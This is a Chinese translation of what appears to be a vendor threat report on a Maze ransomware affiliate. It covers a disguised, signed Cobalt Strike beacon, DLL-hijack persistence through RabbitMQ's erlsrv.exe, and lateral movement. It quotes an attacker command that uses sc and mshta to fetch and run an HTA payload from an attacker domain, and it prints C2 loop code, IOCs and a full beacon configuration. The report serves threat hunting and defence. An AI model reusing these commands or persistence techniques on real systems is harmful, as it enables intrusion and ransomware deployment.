原文鏈接:https://labs.sentinelone.com/
譯者:知道創宇404實驗室翻譯組

摘要

  • Maze勒索軟件是目前在野外使用最廣泛的勒索軟件之一,由具有能力的參與者進行分發。
  • 我們發現了一個Maze分支機構,在交付勒索軟件之前部署了量身定制的持久性方法。
  • 行動者似乎使用了被盜的證書在其信標上簽名。
  • 與其他攻擊一樣,行動者使用HTA有效載荷作為交互式外殼,能夠捕獲到實時的和去模糊化的內容。

背景

Maze勒索軟件在過去的大約一年時間里被廣泛使用,成為全世界許多不同參與者的最終有效載荷。今年,臭名昭著的Maze運營商不僅開始通過加密文件勒索公司,而且威脅會在線發布被竊取的文件,從而勒索公司。最近,我們抓住了一個Maze會員,該會員嘗試通過借由我們客戶的網絡進行傳播。

在這篇文章中,我們分享有關該Maze會員使用方法的詳細信息,以闡明他們的策略并幫助安全團隊在自己的網絡中尋找類似的IOC。

攻擊入口點

如先前在其他Maze事件中所報告的那樣,攻擊者可能通過強制使用管理員的密碼,使用RDP來訪問面向Internet的計算機。對美國公司的攻擊之一始于7月4日(星期六),選擇這個日期顯然是猜測許多人(尤其是安全人員)那天可能不在工作。

攻擊者使用RDP連接并上傳了自己信標的有效載荷,并偽裝成名為netplwiz.exe的已知Microsoft二進制文件。它們的有效載荷與具有相同名稱的真正二進制文件具有相同的圖標和描述,并且也進行了簽名,很可能帶有被盜的證書。

Sysinternals的sigcheck.exe對原netplwiz.exe

c:\windows\system32\Netplwiz.exe:
        Verified:       Signed
        Signing date:   10:29 AM 6/6/2020
        Publisher:      Microsoft Windows
        Company:        Microsoft Corporation
        Description:    Advanced User Accounts Control Panel
        Product:        Microsoft? Windows? Operating System
        Prod version:   10.0.18362.1
        File version:   10.0.18362.1 (WinBuild.160101.0800)

在惡意的netplwiz.exe中,我們可以看到被盜的證書:

c:\windows\system32\Netplwiz.exe:
        Verified:       Signed
        Signing date:   10:29 AM 6/6/2020
        Publisher:      Microsoft Windows
        Company:        Microsoft Corporation
        Description:    Advanced User Accounts Control Panel
        Product:        Microsoft? Windows? Operating System
        Prod version:   10.0.18362.1
        File version:   10.0.18362.1 (WinBuild.160101.0800)

仔細查看證書:

img

該可執行文件是一個簡單的打包程序,可加載Cobalt Strike信標的版本4。該打包程序非常簡單,并執行以下操作:

img

解碼功能如下所示:

img

我們從內存中轉儲信標并解析其配置

img

量身定制的持久性機制

盡管進入方法相當普遍,但攻擊者在其持久性方法上顯示出了極大的創造力,這些持久性方法是針對發現自己的機器量身定制的。

例如,一臺主機正在運行SolarWinds Orion實例。該Orion產品使用RabbitMQ作為內部消息傳遞組件,并隨產品一起安裝。RabbitMQ用Erlang編寫,因此使用Erlang運行時服務erlsrv.exe)運行。

攻擊者依靠此依賴關系鏈在erlsrv.exe進程中生成自身并在主機上獲得持久性,因為RabbitMQ服務正在運行erlsrv.exe

當攻擊者將包含其 信標暫存器的兩個DLL放到磁盤上,然后開始干擾RabbitMQ服務時,我們可以看到此情況:

tasklist /SVC
sc qc RabbitMQ
Uploaded: C:\Program Files (x86)\SolarWinds\Orion\Erlang\erts-7.1\bin\acluapi.dll?
Uploaded: C:\Program Files (x86)\SolarWinds\Orion\Erlang\erts-7.1\bin\version.dll
sc stop RabbitMQ
sc start RabbitMQ

被劫持的DLL是version.dll,通常是從system32文件夾加載的。通過將其放入與erlsrv.exe相同的文件夾中,它加載了他們的version.dll,并且加載包含信標的acluapi.dll

重新啟動RabbitMQ服務后,鈷擊信標開始與netplwiz中的域通信,但這次是從erlsrv.exe和SYSTEM完整性級別進行通信。

在另一種情況下,它顯示出對本地環境的類似適應性,攻擊者將Java Updater定位為在計算機啟動時運行,并刪除了jusched.exe在啟動時加載的DLL 。

安裝持久性后,攻擊者進行了一些域偵查,并將ngrok上傳到C:\ Windows \ dwm.exe并將其用于隧道。

他們還運行了:

sc config UI0Detect start= disabled

顧名思義,UI0Detect 會檢測會話0中的程序嘗試與桌面進行交互并向用戶發出警報。對于他們來說,禁用此服務很重要,以避免在以SYSTEM身份運行時意外彈出消息框或啟動GUI應用程序時提醒用戶。

HTA有效負載

當他們找到一臺服務器想要橫向移動時,使用了sc.exe并部署了一個工具,該工具為目標服務器提供了一個在線shell。

具體來說,他們運行了以下命令(IP更改):

sc \\ 192.168.90.90 config MiExchange binPath = “” c:\ windows \ system32 \ cmd.exe / c start mshta http://crt.officecloud [.] top / st“

他們使用mshta運行托管在其站點上的HTA有效負載。我們認為HTA是他們在遠程計算機上聯機工作的方式,如果他們認為值得的話,可以在部署其Cobalt Strike 信標之前在遠程計算機上進行在線工作。

HTA有效負載是一種有些復雜且自動混淆的代碼,我們認為它是自制的(因為我們沒有找到它在線的證據)。

您可以在此處查看混淆和我們混淆后的版本。

img

主循環-編碼與解碼

在運行時,它首先發送計算機的一些基本信息,例如操作系統版本、路由信息、域控制器名稱(如果計算機是域的成員)等等:

img

有效負載包含一個首次運行時為空的變量。在這種情況下,它使用mshta.exe從服務器運行另一個HTA ,它與自身完全相同,只是變量現在包含值“ prfx”而不是為空。

因此,它進入了從服務器運行HTA的循環。

簡化的代碼如下所示:

try {
    if (mainFuncStruct.emptyIfFirstRun != "prfx") {
        try {
            mainFuncStruct.funcStruct6.runMshtaFromCNC("");
        } catch (e) {
            mainFuncStruct.funcStruct6.sendErrorDataToCNC(e)
        }
        mainFuncStruct.killSelf();
    } else {
        if (mainFuncStruct.isRunningInMshta())
            LimitedRunLoop();
        else
            InfiniteRunLoop();
    }
} catch (e) {
    mainFuncStruct.funcStruct6.sendErrorDataToCNC(e);
}

有效負載很有趣,因為它具有一些獨特的行為:

  1. 它既可以作為JScript文件也可以作為HTA文件運行
  2. 不從服務器接收簡單的cmd.exe命令,而僅從HTA(可以自己運行cmd.exe)接收命令
  3. 每次從服務器請求時都會自動對其進行模糊處理

從狩獵角度來看,還值得注意的是,它直接運行net1.exe而不是net.exe,可能是在逃避基于EDR和基于命令行的檢測方法。

結論

以上所有這些說明他們都是非常有能力的攻擊者。盡管他們使用了大多數已知的方法,但也顯示出一定的創造力,可以成功切輕松地破壞目標,快速地橫向移動目標。但是,在未造成任何傷害之前,它們仍被SentinelOne代理捕獲并緩解。

由于他們的HTA服務服務器仍處于在線狀態,并且該活動仍在進行,因此我們建議安全團隊檢查其EDR數據或SIEM中是否存在以下IOC,并迅速緩解發現的任何IOC,以防止部署勒索軟件。

IOCs

HTA有效負載服務器

crt.officecloud[.]top
crt.globalsign[.]icu
mhennigan.safedatasystems[.]com

CS信標服務器
ocspverisign [.] pw

使用的其他工具
ngrok.exe
證書簽名者:“ Clubessential, LLC.”

完整的信標配置

BeaconType                       - HTTPS
Port                             - 443
SleepTime                        - 61107
MaxGetSize                       - 1048580
Jitter                           - 13
MaxDNS                           - 245
C2Server                         - pkcs.ocspverisign.pw,/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQe6LNDJdqx2BJOp7hVgTeaGFJ2FC
                                   crl.ocspverisign.pw,/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQe6LNDJdqx2BJOp7hVgTeaGFJ2FC
                                   pfx.ocspverisign.pw,/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS56bKHAoUD2BOyl2B0LhPg9JxyQm
UserAgent                        - Microsoft-CryptoAPI/10.0
HttpPostUri                      - /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSLIycRsoI3J6zPns4K1aQgAqaqHgQUZ
HttpGet_Metadata                 - Cookie: cdn=ocsp;
                                   Cookie
HttpPost_Metadata                - Content-Type: application/ocsp-request
                                   Cookie: cdn=ocsp;
                                   u
DNS_Idle                         - 8.8.8.8
DNS_Sleep                        - 0
HttpGet_Verb                     - GET
HttpPost_Verb                    - POST
HttpPostChunk                    - 0
Spawnto_x86                      - %windir%\syswow64\werfault.exe
Spawnto_x64                      - %windir%\sysnative\wuauclt.exe
CryptoScheme                     - 0
Proxy_Behavior                   - Use IE settings
Watermark                        - 305419896
bStageCleanup                    - False
bCFGCaution                      - False
KillDate                         - 0
bProcInject_StartRWX             - True
bProcInject_UseRWX               - False
bProcInject_MinAllocSize         - 21036
ProcInject_PrependAppend_x86     - b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'
                                   Empty
ProcInject_PrependAppend_x64     - b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'
                                   Empty
ProcInject_Execute               - ntdll.dll:RtlUserThreadStart
                                   SetThreadContext
                                   RtlCreateUserThread
ProcInject_AllocationMethod      - VirtualAllocEx
bUsesCookies                     - True

Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1294/